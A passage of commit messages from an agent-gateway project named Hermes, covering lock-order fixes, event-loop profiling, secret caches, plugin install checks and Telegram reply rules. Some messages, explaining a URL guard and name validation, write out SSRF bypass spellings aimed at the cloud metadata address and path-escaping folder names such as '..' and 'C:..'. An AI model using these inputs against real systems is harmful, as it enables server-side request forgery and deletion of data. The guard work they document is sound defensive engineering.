hermes_cli.config no longer lists providers while it imports. The probe
now pins that, and runs its config-read-versus-database-open race on the
first OPTIONAL_ENV_VARS read instead.
RedactingFormatter reads a routed profile's redaction policy from config
while holding the logging handler's lock. A thread holding _CONFIG_LOCK
(for example one booting a remote profile) that logs then waits for the
handler lock: a lock-order cycle. On the booting thread itself the read
re-entered the boot and ConfigBackendUnavailable escaped the formatter.

load_config_readonly_nowait() returns None instead of waiting: when
_CONFIG_LOCK is held by another thread, or when the read would start a
remote boot fetch (config_backend.without_boot()). The formatter then
redacts (the secure default) and does not cache that answer.

The remote backend's lock-order tests move to their own file.
A PROVIDER_REGISTRY read from a plugin during provider discovery ran the
pending mirror against a partial profile list, so the auth row kept a
provider that a later, higher-priority registration replaced. The mirror
now waits for discovery to finish (its completion sync runs then), and
runs holding no lock: it lists providers, which reads config, and the
sync is idempotent.
The provider entries of OPTIONAL_ENV_VARS are descriptive metadata, but
they came from list_providers(), and provider discovery reads config. A
partial discovery could also be published permanently.

They are now built from providers.bundled_profiles(), which executes each
bundled provider plugin into a private module and collects its
registrations: no config, no discovery, no registry change. The result is
a plain idempotent cache (concurrent first callers compute the same pure
result). Discovery's completion hook adds the process-wide plugin
providers it registered, read from the registry as it stands. Disabled
plugins are never executed for the catalog.
RedactingFormatter resolved a routed profile's redaction policy per
record from config, under the logging handler's lock. It now reads only
in-memory state: the live secret scope, and the policy recorded when that
profile's .env or config is loaded, or when log routing is set up for it
(resolve_profile_policy). Unknown means redact, the secure default.

This removes load_config_readonly_nowait() and the no-boot read scope.
As list_providers(): a safe worker never executes provider plugins, so the
provider env catalog is empty there.
sync_registered_providers() filtered the registry through provider_source(), which is
profile-aware: it scans the bound home's unscanned plugin dirs, whose isolation check reads
config, so under a refusing backend discovery completion raised. Filter on providers._SOURCES.

Tests: a cold discovery completion under a backend refusing every read with an unscanned home
plugin tree (no read, no scan, entry-point var published); a cold safe-worker catalog build
executes no plugin module (with an ordinary-worker control proving the marker plugin runs).
The agent can write cache/ and runtime/, so a file there may be a link or a
forged record. Hermes now deletes a Bitwarden or 1Password cache in cache/, or
a Photon sidecar record in runtime/, on first use without reading it, and
reads and writes only the copy at the top of the profile home. All four stores
are regenerated on use.

- Remove utils.adopt_legacy_file and the paths built on it.
- home_data_layout: split SECRET_CACHE_STORES into SECRET_CACHE_FILES and
  LEGACY_SECRET_CACHE_PATHS.
- Backups leave out the four top-level names; the old slashed entries never
  matched a root entry.
- The dashboard Files API takes its hidden names from the shared list.
_idle_s runs on the gateway's startup thread (recover_local_sessions ->
arm_startup_orphan_closes) and resolved the physical session id inside its
own SessionDB._read_ctx() block. _physical_target reads the local receipt, so
that argument opened a second read context. A read that cannot use the WAL
pool -- no WAL (DELETE journal / NFS fallback) or every read permit spent --
is served from the writer connection under SessionDB._lock, which is not
reentrant: the nested read waited on the lock the same thread already held.

Boot then never reached the control socket. Desktop clients gave up with
"Gateway inaccessible: incomplete_control_response" / "Gateway starting:
deadline", the loop-liveness watchdog dumped the stack and exited 75, and
launchd restarted the gateway into the same wedge: a boot loop, not a slow
start.

Resolve the target first; the probe now opens exactly one read context.

Test: test_the_startup_idle_probe_does_not_nest_its_read_context fails on
main (the nested read) and passes here.
fix(secrets): move secret caches and the Photon token to the profile home root
The dashboard-client heartbeat marker now always resolves under the
process home instead of the current profile scope, on both the write
side (tui_gateway/ws.py) and the idle watcher (run_shutdown.py), which
share dashboard_client_heartbeat_path().

Root cause: the Webapp socket now runs handle_ws inside owner_scope of
the tab profile, so the heartbeat was written under the secondary
profile home while the multiplexed gateway watcher, which runs with no
override, read the launch home marker and could suspend the instance
under an open tab.

Regression from 8b55721189 (#146097, @teknium1, 2026-10-28).
The Bot Chat door validated a stamped row with the stamp itself as the
adopting subject, a check that always passes (`same_owner(x, x)`). An
owner delivery (a cron beat, `bot_relay.deliver`) therefore kept a TUI or
CLI row stamped by another OS user (`auth:v1:["local","","uid:1001"]`) or
by a login no registered provider names, the owner's adoption of it then
failed, and every delivery was refused `not_found` for good: the #143715
class the previous commit fixed for owner login labels.

The door now asks the native open's own rule (`validate_legacy_row`) for
the principal that is delivering: `_target` and the locked recheck in
`_create_bot_chat` pass `actor.subject`. A login a same-user peer forwards
over the control socket still adopts the chat it stamped with its subject
or its `<provider>:<user>` label, whether it delivers or opens first. The host owner is always a second adopter,
so a delivery that cannot adopt the owner's own history is refused rather
than moving that history aside. Callers without a principal (the peer-DM
admission check) keep the row's own stamp as the adopter.

The two docstrings that still said a Desktop row an owner login stamped
is never moved now name only foreign logins: since the previous commit an
owner-labelled Desktop row with a stale route is moved aside, and a test
pins that. The owner-adoption tests now also cover CLI rows, which lost
their unrouted case when that commit rerouted it.
`displaceable_bot_chat` kept the title holder when either the lineage root
or its compression tip was adoptable history, but a delivery only ever
adopts the tip (`_target` -> `resolve_local_target`). A root the owner
could open above a tip nobody can (a crash's route column, another user's
stamp, another profile) held the title, the tip's adoption failed, and
every delivery was refused `not_found` for good. Main had the same failure
for an unstamped root; owner-labelled roots joined the case once the door
stopped treating owner login labels as foreign.

Keep the bound-chat and binding checks for both rows, and let only the tip
decide whether the lineage is kept. Tests cover four tip-unadoptable
lineages (moved aside, delivery lands) and the converse, another user's
root above the owner's tip, which is adopted in place.
A named-profile process with no session key collapsed onto "default"
and missed that profile's sandbox. Dispatcher workers set HERMES_HOME
and clear the session vars, so they are not a routed-home override.

Persistent Docker now reuses profile:<name> for that process. The
default profile, a non-persistent backend, and a home that is not a
named profile stay on "default".
A gateway launched as a named profile (`hermes -p work gateway`) stamps
no profile on its own chats, so their persistent-Docker key fell back to
"default", while the same profile's Desktop sessions (which name it) used
`profile:work`. The previous commit moved session-less cron and kanban
work onto `profile:work`, which in that setup would have split it from
the chats it used to share "default" with.

A session naming no profile now takes the home's profile name, so
chats, Desktop sessions, cron and kanban workers of a named profile all
land on one container. The name comes from one helper,
`terminal_tool_config.home_profile_name`: the same lookup the TUI stamps
on its sessions and Docker labels its containers with, now shared by the
container key, the container label and the file panel's sandbox names
(whose candidates are unchanged), and memoized per home because it runs
on every key resolution. The default profile and a home outside the
Hermes root stay "default"; a home inside the root that is not a
`profiles/<name>` home (nested, dot-named) gets `profile:custom` for all
of them, which its Desktop sessions already used. Peter's tests now run
against real profile homes instead of a stubbed name lookup.

Profile-routed children were already keyed by the bound profile and are
unchanged. The docs note where the old `default` sandbox is.
The new container-key tests set HOME and used <tmp>/.hermes as the Hermes
root. On Windows the native root comes from LOCALAPPDATA and is named
`hermes`, so nested and loose homes would sit outside it and the lookup
would answer "default" instead of "custom" (Greptile, #147090). Build the
homes under the per-test native root conftest already isolates
(`hermes_constants._get_platform_default_hermes_home()`), which is right on
every OS, and stop touching HOME.
With many sessions running in one gateway, the event loop spent most of its
time on two per-frame / per-tool costs and stopped answering for seconds at a
time. Sockets then timed out and clients printed "Gateway disconnected; turn
outcome is unknown" (or "Gateway connection/read failed").

A py-spy profile of a real `hermes gateway run` driving 24 concurrent `hermes -z`
sessions (fake provider, tool rounds + streamed replies) showed the loop thread
busy 94.7% of the time:

- 48%: sending WS frames. Half of that was uvicorn's permessage-deflate
  compressing every outbound frame (the gateway sends one frame per streamed
  token of every session), on the loop.
- 18%: the control-card republish that runs after every tool of every
  session. It read three state.db meta rows on the loop, under the connection
  lock the agents' own writes hold. publish_async (2977180c93) already reads
  that snapshot in a worker; this caller was left synchronous only because a
  test awaited a single loop step.

Changes:
- Gateway session listener (build_listener_server) and the dashboard/desktop
  listener (_build_uvicorn_server) turn permessage-deflate off when every peer
  is local (loopback bind, no public gate, not SSH-isolated). A non-loopback
  bind, a loopback bind behind a public URL/tunnel, and an SSH-isolated
  backend keep compression.
- publish_control_if_changed uses publish_async. The ticket is still taken on
  the loop in scheduling order, so a slow read can never paint over a newer
  publish (test_a_slow_snapshot_read_never_paints_over_a_newer_publish).
- test_a_tool_that_moves_the_goal_mid_turn_repaints_the_viewers_once awaits
  the scheduled republish instead of one loop step; its assertions are
  unchanged.
Clients poll per open session: the classic CLI asks subagent.list once a
second while a turn runs, Ink asks subagent.list and process.list every 1.5 s,
and Desktop every 5 s per visible pane. On a multiplexed gateway (the default)
every one of those RPCs did two things synchronously on the loop:

- session_controls.dispatch entered owner_scope(authority), which builds the
  owner's secret scope (.env, managed env, realpath of the home) and terminal
  policy (.env, config.yaml) from files.
- the projection itself (session_ancillary.read) held the session's
  event_stream.lock, which every streamed token takes from the agent thread.
  Under that lock it walked the compression lineage with get_session, read the
  local receipt and control meta from state.db, and read the process registry
  under its lock.

A py-spy profile of a real gateway (multiplex on, 16 long-lived sessions
polling like the classic CLI) put 23% of loop-thread time in owner-scope
construction, 16.6 s of it under dispatch. With 32 sessions and no multiplex,
the ancillary projection was about a quarter of the busy loop time.

Changes:
- tools/terminal_scope: prepare_profile_terminal_scope builds the policy (or
  the refusal scope) without installing it. install_and_reset_profile_terminal_scope
  takes prepared=; install_profile_terminal_scope is unchanged in behaviour.
- gateway/run._profile_runtime_scope takes prepared_terminal_scope.
- gateway/session_authorities.async_owner_scope: under multiplex, builds the
  secrets and terminal policy in one worker hop (under the home override, the
  policy under the secret scope, as _profile_runtime_scope does) and only sets
  the context variables on the loop. A single-profile gateway, a symbolic owner
  or a missing home falls back to owner_scope, so it binds exactly what it
  bound before.
- session_controls.dispatch uses async_owner_scope.
- session_ancillary.read runs its projection (_read_projection) in a worker
  thread, which inherits the dispatch's scope.
Review follow-ups on the off-loop RPC scope and ancillary projection:

- session_ancillary: the projection re-indexes authority.sessions
  (_require_current_route, physical_target, _owner_objects). Running in a
  worker, it can now see a session that retire_live_sessions popped on the
  loop while the read waited for a worker or the event lock. That surfaced
  as an uncaught KeyError, i.e. -32603 plus a "ws dispatch crash" traceback,
  instead of not_found. A KeyError for a session that is no longer the one
  the read started on now maps to not_found. A KeyError from a live session
  still raises.
- session_authorities._prepare_owner_scope now enters the real
  _profile_runtime_scope(home, hydrate_secrets=False) in the worker and
  reads back the bound secrets and terminal scope. The scope entry order
  (home override, then secrets, then terminal policy) has one definition
  instead of a hand-kept mirror.
- terminal_scope.prepare_profile_terminal_scope docstring: the build reads
  under the caller's home override and secret scope.
- tests: the ancillary test uses the real projection with a recording event
  lock rather than patching the projection out. Added a retired-mid-read
  not_found test and a live-session KeyError test. The scope parity
  snapshot is keyed by name.
The retired-session comment covered only a pop while the read waited; retire_live_sessions pops on the
loop without the event lock, so it can land mid-projection too. prepare_profile_terminal_scope reads the
managed-scope overlay under the home override, not the secret scope.
Drives the real subagents / processes / tail projection with no stubs past the event lock: the lock hook
pops authority.sessions the way retire_live_sessions does (on the loop, without that lock), and the
projection own re-index must answer not_found. Fails on ee2e58fba7 (KeyError, a -32603 dispatch crash)
and passes with 735786cbc7.
The plain-tree check compared realpath(sourceDir) with the expected path
as strings. On a case-insensitive filesystem a package whose folder is
spelled Desktop/ is found through desktop/plugin.js, but realpath returns
the on-disk spelling, so the tree was refused as "folder is a symbolic
link" although nothing in it is a link.

The check now lstats each folder between the package (or clone) root and
the desktop folder and refuses only a real link, which still covers a
linked desktop/ folder and a linked folder further up.

Root cause: a case-sensitive string compare of resolved paths.
Regression from 9d4ab00f33 (#146189, @teknium1, 2026-10-28).
A repository with plugin.js at its root publishes the clone root itself,
and the native git install passed no filter, so the clone's .git was
walked by the size check and copied into the published folder. A plugin
of about 32-64 MB was refused with "larger than 64 MB" although the
files it publishes are under the cap.

The install now passes the same root-layout filter reconcile already
uses (.git and __pycache__ left out), matching the host-side install,
which drops .git before its check.

Root cause: the size cap counted folders the root-layout copy should skip.
Regression from 9d4ab00f33 (#146189, @teknium1, 2026-10-28).
In the Webapp, the reconcile endpoint returned only the folders it
touched, and the browser bridge had no reconcileDesktopPluginsReport.
When the host pass refused a package's desktop half (a link in its
tree, over the size cap), the install tab saw no refusal. On an update
it found the previous copy's plugin.js and reported the plugin as
installed, while the old desktop code kept running.

The host reconcile now raises on a refused tree, as Electron's
materializeDesktopHalf throws. reconcile_desktop_halves_report collects
each refused package with its reason and drops refusals that a later
profile's same-named half published. The endpoint returns that report,
and the browser bridge exposes it as reconcileDesktopPluginsReport,
which the install tab already reads under Electron. A server that
predates the report and sends only touched reads as refusing nothing.

A refused half also no longer reserves its name, so a valid same-named
half in another profile publishes, matching Electron's reconcilePass.

Root cause: the refusal report was added to the Electron reconcile
only, and the host pass returned None for a refused half, the same
value it returns for a current one.
Gap left by 5b4468b159 (#146189, @teknium1, 2026-10-28).
The host-side reconcile ran the plain-tree check only for root-layout
halves and copied a package's desktop/ folder with its links kept, so a
link in an installed package's desktop/ folder was published into the
served desktop-plugins folder. Electron's reconcile refuses that, and the
desktop guide says such a folder is refused.

The check now covers every desktop/ half except a dev checkout linked
into plugins/, the same exemption Electron makes. As in Electron, the
64 MB cap now applies to those folders too, and their .git and
__pycache__ are checked, since a desktop/ copy keeps them. A refused
half keeps any copy already published, unless a same-named half in a
later profile publishes, and is otherwise reported to the install tab.

Root cause: the check was scoped to root-layout halves only.
Not a regression: the host reconcile has behaved this way since it was
added.
The desktop guide and the plugins.manage install_desktop contract text
still said the Webapp desktop-only clone takes https:// sources only.
That rule was removed on purpose, and every source scheme is held to the
reviewed commit. The contract text also read as if an identifier install
needed no ref; a ref is always required.

Generated contract files regenerated with the repo generator.

Root cause: the source rule was widened without updating its two
descriptions.
Regression from 01dfee9a41 (#146189, @teknium1, 2026-10-28).
install_desktop and remove_desktop now refuse folder names that Windows reads
as something other than one folder: any colon (C:, C:.., D:outside), device
names such as CON, nul.txt, COM1 or CONIN$ with any extension, and a trailing
dot.

Root cause: the name check only refused slashes, dots and control characters,
so on Windows root / "C:" joined to the root itself and root / "C:.." to the
Hermes home, and a forced remove_desktop would then delete that whole tree.

Bug in new code from abfe2876f3 (#146178, salvaged from #146132, 2026-10-28);
not a regression, the RPCs did not exist before.
poll_container now raises when no probe attempt completed before the
deadline (naming the stall in the message), keeps the last real probe
output when a later attempt stalls, and gives each attempt only the time
left (capped at 10s), so a stalled exec no longer runs past deadline_s.
The dashboard HTTP probe gets the same per-attempt cap. The stalled-exec
unit tests opt out of the no-daemon skip, since they never touch Docker.

Root cause: swallowing TimeoutExpired made an all-stalled poll return
(False, "") - indistinguishable from a probe that ran and failed - so
test_dashboard_insecure_env_var_no_longer_bypasses_gate (assert not ok)
passed with zero completed curl probes, and each attempt kept a fixed
10s timeout that overran a 12s deadline to 20s.

Regression from ccb3f388f7 (#146195, @teknium1, 2026-10-28).
The insecure-bind guard read any failed probe as "dashboard closed": a
docker exec into a container that had already exited (rc=1), a missing
curl (127) or a missing exec user (126) all passed it without the port
ever being checked. The probe now prints curl's own exit code, and the
guard requires the last completed attempt to be a connection refusal
(curl rc=7) on top of no attempt ever being served.

Root cause: the probe discarded curl's exit code, so "the probe failed"
and "the port refused" were indistinguishable. Pre-existing, the sibling
of the all-stalled shape the previous commit closes.
The pymupdf and marker setup blocks in the pdf skill's OCR reference
assigned PY without exporting it. The terminal tool carries only
exported variables into the next call, so every later "$PY" helper
line ran an empty command (rc 127) unless the documents block had
already exported PY. Both blocks now end with `export PY`, like the
documents block, and a new test runs every document setup block and
checks that PY is exported.

Introduced by 4a8c01790a (#146111, @teknium1, 2026-10-28); not a
regression, the OCR steps had no side environment before it.
The sandbox fallback in the document skills (microsoft-office, pdf,
excel-author, pptx-author and the two OCR blocks) read the published
venv only after its own import check failed. When another agent
published a working venv in between, this caller took it for a broken
build, swapped in its own and deleted the working one, so that agent's
running process could lose lazily imported files. A published build is
now replaced, and deleted, only while it still fails the import check;
otherwise the late caller discards its own stage. Generated skill pages
regenerated.

Introduced by dc82bec3bd (#146111, @teknium1, 2026-10-28); not a
regression, the skills had no sandbox venv before it.
The interactive section said that text and Enter in one tmux send-keys
call, or one PTY write, land as a newline, and told agents not to use
process_manage submit. Since the burst-end Enter handling landed, a lone
Enter at the end of a write submits, so both statements were false. The
text now says one-call send-keys and submit work, and keeps the
separated recipe as the form that does not depend on burst timing. The
readiness checks also quote the prompt glyph with single quotes, so
they no longer end the surrounding terminal(command="...") string.
Generated skill page regenerated.

Introduced by 30a8c50a6f (#146111, @teknium1, 2026-10-28); docs only,
the separated recipe it teaches still works.
Network.setBlockedURLs, Network.setRequestInterception, Fetch.enable,
Page.handleJavaScriptDialog and the cookie setters no longer have their
URL params screened as fetch targets, so request blocking and
interception work again on cloud browsers, /browser connect endpoints and
container terminals, and blocking the metadata address itself is allowed.
These calls only match, label or scope URLs; none of them makes the
browser fetch one. Each fetchable URL is also checked once instead of
twice (a url value was extracted whole and again as a literal).

Root cause: the guard-on scan of unlisted methods resolved every http(s)
literal in every string param, so wildcard patterns failed DNS and
loopback or metadata patterns read as private targets.

Regression from f4aa77a467 (#146100, @teknium1, 2026-10-28).
The URL literal scan behind raw CDP's private guard and metadata floor
now reads a bracketed host such as https://[2606:4700:4700::1111]/ as one
literal, so a public IPv6 URL is no longer refused on guarded backends
and an IPv4-mapped metadata address (http://[::ffff:a9fe:a9fe]/) is
refused with the guard off. The metadata floor also reads scheme-relative
//host, ///host and \\host literals, which browsers load with the page's
scheme. They are judged by their literal host without a DNS lookup,
decimal, hex and octal IPv4 spellings (//2852039166/, //0xa9fea9fe/)
included, so a //TODO comment costs no resolver call. A // comment, an
a//b path or a // inside another URL's path or query is not taken for a
second target, and the private guard keeps screening http(s) literals
only.
A scheme-relative literal carrying a control character
(//169.254.169.254 followed by U+0001, which a browser strips) is
refused like its http(s) spelling.

Root cause: the literal regex stopped at the first ], cutting a
bracketed host in two (the head failed to parse, the tail was never
checked), and it only knew http(s):// prefixes.

The public IPv6 refusal is a regression from f4aa77a467 (#146100,
@teknium1, 2026-10-28); the mapped-address and scheme-relative gaps
are older bugs.
The allow_private_urls table and the metadata paragraph now say that raw
CDP checks the URLs a call fetches (url params, injected scripts and
HTML), not text input, dialog answers, cookie scope URLs or request
blocking and interception patterns, and that a URL assembled at run time
is not seen. The old wording claimed every raw CDP param was screened
and that the table row covered only private page URLs. The zh-Hans
browser page drops the claim that a redirect from a public URL to a
private address is still blocked, which the English page already
removed as false.
`)`, `]`, `<` and `>` are legal in a URL's userinfo, but the URL literal
scan stopped at them, so `http://1.1.1.1)@169.254.169.254/` was read as
`http://1.1.1.1` while a browser fetches the metadata host; the same held
for scheme-relative `//x]@169.254.169.254/` and for a raw `url` param that
urlsplit cannot parse. When a literal stops inside its authority and an `@`
follows before the authority ends (`/ ? # \`, quote, whitespace),
url_literals now also returns the host after the last `@`, next to the
literal as cut, so an unquoted `href=` followed by a mail address keeps its
own check. Both the metadata floor and the guard-on private check see it.

Root cause: the literal regex ends a URL at these delimiters even inside
the authority. Not a regression: main's scan stops at the same characters.
browser_exec keeps its own literal regex, with the same gap, for a
separate change.
The shared held? probe defined a new OVERLAPPED Structure and called
ctypes.POINTER on it every time it ran. Before Python 3.14 ctypes keeps
every pointer type in a global cache forever, so on Windows a gateway on
3.11-3.13 grew by about 6 KB on each 30 s update-fence poll (roughly
17 MB a day). The struct and the LockFileEx/UnlockFileEx signatures are
now built once in a cached helper next to the other kernel32 setup, and
the 0x1 flag is named LOCKFILE_FAIL_IMMEDIATELY.

Root cause: per-call ctypes type creation in _try_shared_lock.

Regression from a4b2ba62dc (#146214, @teknium1, 2026-10-28).
The _try_lock docstring said every lease byte is locked (Windows only
test-locks them). It and the checkout_lock_held docstring said two
probes never read each other as one, which is true only for the Python
probe; marker.sh and marker.ps1 still probe exclusively. The
contention-wait comment now says which probes take the lock
exclusively and which take it shared.

Follow-up to #146214.
The served-profile lookup built its config with GatewayConfig.from_dict(raw
config.yaml), which only reads the nested `platforms:` form. The gateway's own
loader also merges a top-level `<platform>:` block and lets its
channel_overrides win, so a room configured there (with model/provider
overrides that do apply) silently lost `allow_silence` on the routed / profile
/ multiplex path. Use the loader's two steps (merge_platform_sections, then the
platform_section override) and read only the routed platform.

The lookup also ran unguarded on the delivery path: a ProfileRouteRejected from
_resolve_profile_home_for_source (or any other error) turned a turn into the
agent error reply. A failed lookup now logs and returns None, which is
today's reply rule.

Tests: top-level, top-level-wins and failed-lookup cases fail on the
contributor commit and pass here; nested and top-level-without-overrides are
controls that pass on both.
_record_room_silence_decision runs inside the turn's try block and called
lookup_by_session_key / load_transcript / set_session_metadata unguarded.
load_transcript raises TranscriptReadError by design, and a store refusal or
full disk raises too, so a turn the room allowed to stay silent posted the
agent error reply instead. The receipt only lets crash recovery honour the
silence; without it recovery keeps the human-turn notice, which is the
documented fallback. Log the failure and keep live delivery silent.

Test: a store that raises on lookup fails on the previous commit (OSError
escapes) and passes here.
- A thread entry that sets only other keys (e.g. just `model:`) is the first
  matching channel override, so it hides the parent's `allow_silence`; say to
  repeat the key there.
- Since 5cba2718c0 the agent ends a turn on a reply it wrote beside a
  housekeeping-only tool call (memory, todo list, skill management or session search)
  when a complete, addressed turn ends on a bare marker.
  That flag is computed before the room policy is known, so that reply is
  delivered in opted-in rooms too; documented rather than changed, because
  dropping a written answer is the bug that commit fixed.
ty reads Platform.value as a union of the enum's literal and container types, so
the new room lookup added one invalid-argument-type error at platform_section.
Wrap it in str(); every Platform value is already a string, so behaviour is
unchanged (test_room_allow_silence.py: 63 passed).
Every live source carries a RoutingIdentity, standalone gateways included, so
_room_allow_silence re-read the profile home's config.yaml for every message
and ignored the config the runner actually serves, e.g. a `gateway --config`
file. A room opted in there still got the warning, and the reverse could
suppress a reply. The served config is now used whenever the turn runs in the
primary profile (the one self.config belongs to); only a turn routed to
another profile, or a runner with no config, reads that profile's config.yaml.
That also removes the file read from the common single-profile path.

Found by the automated review on this PR. Test: the primary-profile row fails
on the previous commit and passes here; the routed row is a control
(test_room_allow_silence.py: 65 passed).
The Telegram adapter never set MessageEvent.reply_expected, so silence_allowed()
always saw None and every bare [SILENT] / NO_REPLY on a group message became the
"returned only a silence marker" notice, posted to the whole group (#120051).

group_reply_expected (telegram_context.py) sets the per-message signal from #123271,
with the same rule the WhatsApp adapter gets in #133672:
- True for DMs and for a group message addressed to this bot: @mention, reply to
  the bot, wake word (mention_patterns) or /command, in text or a caption. The
  #110952 fallback stays.
- False for a group message addressed to someone else (a reply to another member,
  or one that opens by @mentioning someone else) and for plain chatter. A forum
  topic's root anchor is not a reply to a person.
- None for channel posts, an unknown bot identity, and an unaddressed message with
  a "?", which may be a question for the bot.

Photo bursts and albums merge through absorb_reply_expected, so a batch that
includes a photo addressed to the bot stays True.
Review follow-ups from a standards audit:
- A reply whose quoted author is unknown is no longer treated as a reply to
  another member, so a question there keeps the notice, as in #133672.
- A command with leading whitespace counts as addressed to the bot, matching
  how the gateway parses commands.
- _merge_into_pending keeps the original seed semantics (get/None) instead of
  setdefault, while staying at the adapter's line cap.
- The photo-batch test now runs the merged turn through the runner's delivery
  path: unaddressed silence is not sent, the addressed batch gets the notice.
- Docs note the unknown-identity, unknown-author and forum-root cases.
group_reply_expected judges the message text or caption, and a voice note or
audio file without a caption has none: no "?", so it came out
reply_expected=False. In a group with require_mention off, a spoken question
to the bot could then vanish behind a bare silence marker. Voice and audio
without a caption now return None (the notice stays); a captioned one is
judged by its caption, and photos, stickers, documents and locations are
unchanged.

Tests: the voice-note and audio-file rows fail on the previous commit and pass
here; the captioned-voice and uncaptioned-photo rows are controls.
A group reply whose quoted message has no from_user was not counted as a
reply to another member, but then fell through to the chatter rule, so a
statement like "agreed" came out reply_expected=False and a bare silence
marker sent nothing. The Telegram docs (and the WhatsApp rule in #133672)
promise the notice whenever the quoted author is unknown. Such replies now
return None before the chatter rule. The forum-topic-root check moves into a
small _quoted_reply helper both paths share; reply-to-bot and topic-root
behaviour is unchanged.

Found by the automated review on this PR. Test: the new statement row fails on
the previous commit and passes here; the existing "agreed?" row passed on both
because the question rule hid the gap.
Telegram fills from_user with a service account (777000 for a linked
channel's auto-forward, GroupAnonymousBot for an anonymous admin) and sets
sender_chat on posts signed by a chat. Those counted as replies to another
member, so in a discussion group with require_mention off a question
commenting on a channel post (including the bot's own channel's post) came
out reply_expected=False and could vanish behind a bare silence marker. A
reply to a chat-signed post is now treated like a reply to an unknown author
(None, the notice stays). Only a reply to another known member is chatter.

_replies_to_other_member had a single caller whose earlier branches already
settle its reply-to-bot and unknown-author checks, so the reply decision is
now one branch in group_reply_expected; _quoted_reply gains its return type.
Behaviour for every existing test row is unchanged.

Tests: the channel auto-forward and anonymous-admin rows fail on the previous
commit and pass here (68 passed with test_telegram_thread_fallback.py).
With a remote gateway as the window primary and this computer active as a
registry secondary, All profiles grouped by profile filed every profile
read from `local` as an empty section in the remote's untagged pool. The
populated `default` then showed twice, once with its chats under "This
computer" and once as "No sessions yet" outside it.

Root cause: profileListConnectionId mapped an explicit `local` request
scope to the untagged pool unconditionally, but `local` rows are untagged
only while local is the primary the session aggregate reads as its base;
beside a remote primary they carry the `local` tag. The owner now stays
`local` unless local is that primary. The active connection descriptor
cannot tell: it follows the foregrounded gateway (a local secondary
reports `local` beside a remote primary) and is null during a reconnect
blip. So the primary route the gateway registry records (connection id
and mode) now lives in a small atom, store/gateway-primary-route. The
registry keeps the pair only there, where it used to hold the id in its
own state and the mode beside it, and the sidebar subscribes to it.
That route speaks for the aggregate only while it is the registry
primary: a window booted on another registered route (the
saved default route) leaves the aggregate's base on the registry primary,
so there the registry primary decides. While the primary mode is unknown,
local stays the untagged pool as before.

Introduced by 47f0fc99d2 (#146116, @teknium1, 2026-10-28), which added empty
profile sections; not a regression, as no section existed for them before.
Grouped by profile, a profile whose session scan failed while another
profile's rows loaded got an empty section saying "No sessions yet", as if
its store had been read and found empty.

Root cause: the empty sections were gated only on the whole-list load
error, which is set only when the scan returns no rows at all, so a
per-profile failure passed through. The sidebar refresh now records which
profiles its recents scan reported as failed, and those profiles get no
empty section; any rows carried forward for them still show, and the next
refresh replaces the record. Scan errors carry no gateway id and only the
aggregate base's (the registry primary's) reach the renderer, so the
record applies to that pool only; a foregrounded secondary, or a window
primary booted on another registered route, keeps the empty section of
its own same-named profile. A gateway switch clears the record with the
other per-profile sidebar maps, so the outgoing gateway's failures cannot
hide the incoming gateway's empty sections.

Introduced by 47f0fc99d2 (#146116, @teknium1, 2026-10-28), which added empty
profile sections; not a regression, as no section existed for them before.
The stalled-exec and dashboard-guard tests drive poll_container and
_http_probe with a scripted docker_exec_sh and a fake clock, so they
need no daemon and no image. They lived under tests/docker/, which the
default test runner skips, so they only ran in the Docker image jobs.
Move them to tests/test_docker_poll_stalled_exec.py, where default
discovery picks them up on every host, and drop the per-module
DOCKER_DAEMON_REQUIRED opt-out from the docker conftest: no module
under tests/docker/ uses it any more.
Add the rc=126 shape (docker exec cannot start the probe, e.g. the exec
user is missing, so nothing is printed) to the stand-in cases for the
fail-closed dashboard guard. The guard already rejects it because it
requires an observed refusal (rc=7); this case keeps that true.
poll_container and the dashboard _http_probe slept a full interval after
every failed probe, even when less time than that was left, so a poll
could run up to one interval past the deadline its caller gave. Clamp
the sleep to the time remaining. The overrun never turned a failure
into a pass; it only made the deadline inexact.

Pre-existing: the poll_container sleep since c918d07b50 (#51024,
@ethernet8023, 2026-06-22); the _http_probe sleep since fb51253620
(#34188, @benbarclay, 2026-05-29).
A git install of a plugin now refuses a package whose folder name is not a
plain folder name, before anything in desktop-plugins is touched. The name
comes from the repository (the manifest's `name`, or a subdirectory's last
segment) and was joined to the desktop-plugins root unchecked, so a package
named `..` made a forced install remove and replace the Hermes home, on
every OS; `a/b` nested a folder, and on Windows `C:..` or a device name like
`nul .js` reach somewhere else entirely.

The check refuses separators, a colon, a leading or trailing dot, control
characters, more than 128 characters (code points, as the agent side's
len() counts them), and Windows device names with any extension, reusing
the device-name pattern the plugin file door already has. On Linux and
macOS this also refuses names Windows cannot use (device names, a colon, a
trailing dot), which installed before. The folder name is trimmed of what
the agent side's str.strip() removes (JS trim() differs on U+FEFF, U+0085
and U+001C-U+001F), and the package marker now records that same trimmed
name, so the folder and marker agree, as the agent side's desktop
installer writes them. When removing a standalone desktop plugin, an
existing folder's exact name removes that folder; any other name is
trimmed as the installer trims it, with the same helper (trim() on every
name turned `\ufeffgizmo` or ` gizmo ` into a `gizmo` neighbour).

Root cause: installDesktopPluginFromGit used the manifest name as a path
segment without validating it.

Regression from 359e09fd65 (#89464, @serefyarar, 2026-08-18).
Two hand-off tests in test_update_lock.py failed whenever pytest ran
from a terminal that a gateway agent opened:
test_delegate_keeps_the_claim_live_after_the_partner_dies and
TestHandoffFromOrchestratingUpdater::test_child_runs_under_the_parents_live_claim.

Root cause: the V9 rule (a hand-off is refused when a Hermes
gateway/serve/dashboard sits above us) walks the real process ancestry,
and the stand-in partner is not our ancestor, so the walk reaches the
gateway that ran pytest and refuses. The code is right; the tests read
the host they run on.

An autouse fixture in that file now treats no ancestor as a runtime
host, and a new test sets every ancestor to one to pin the V9 refusal,
which had no test before.

The tests broke when eebfab2991 (#132338, @teknium1, 2026-10-03) added
the V9 walk.
_windows_create_filetime built a fresh kernel32 WinDLL with typed
prototypes on every call. Fence polls reach it whenever psutil cannot
read a marker pid creation time. _windows_parent_pid also redefined
PROCESSENTRY32W and called ctypes.POINTER on it per call; before
Python 3.14 that pointer type stays in the ctypes cache forever.

_windows_kernel32 is now cached. The Toolhelp32 struct and prototypes
moved into a cached _windows_toolhelp_api on its own DLL instance, the
same pattern as _windows_lockfile_api, so each prototype names the
exact struct class handed out with it.

Driven on Linux with an inert kernel32 double, 50 warmed calls of each
probe build 200 DLL wrappers and 300 POINTER calls on main (50 new
pointer types on 3.11), and none on this branch. A Windows-only test
asserts no WinDLL or POINTER construction after warm-up.

Not a regression: both helpers were per-call since they were added.
checkout_lock_held was the only caller of _try_lock(fd, shared=True),
and that branch just forwarded to _try_shared_lock. It now calls
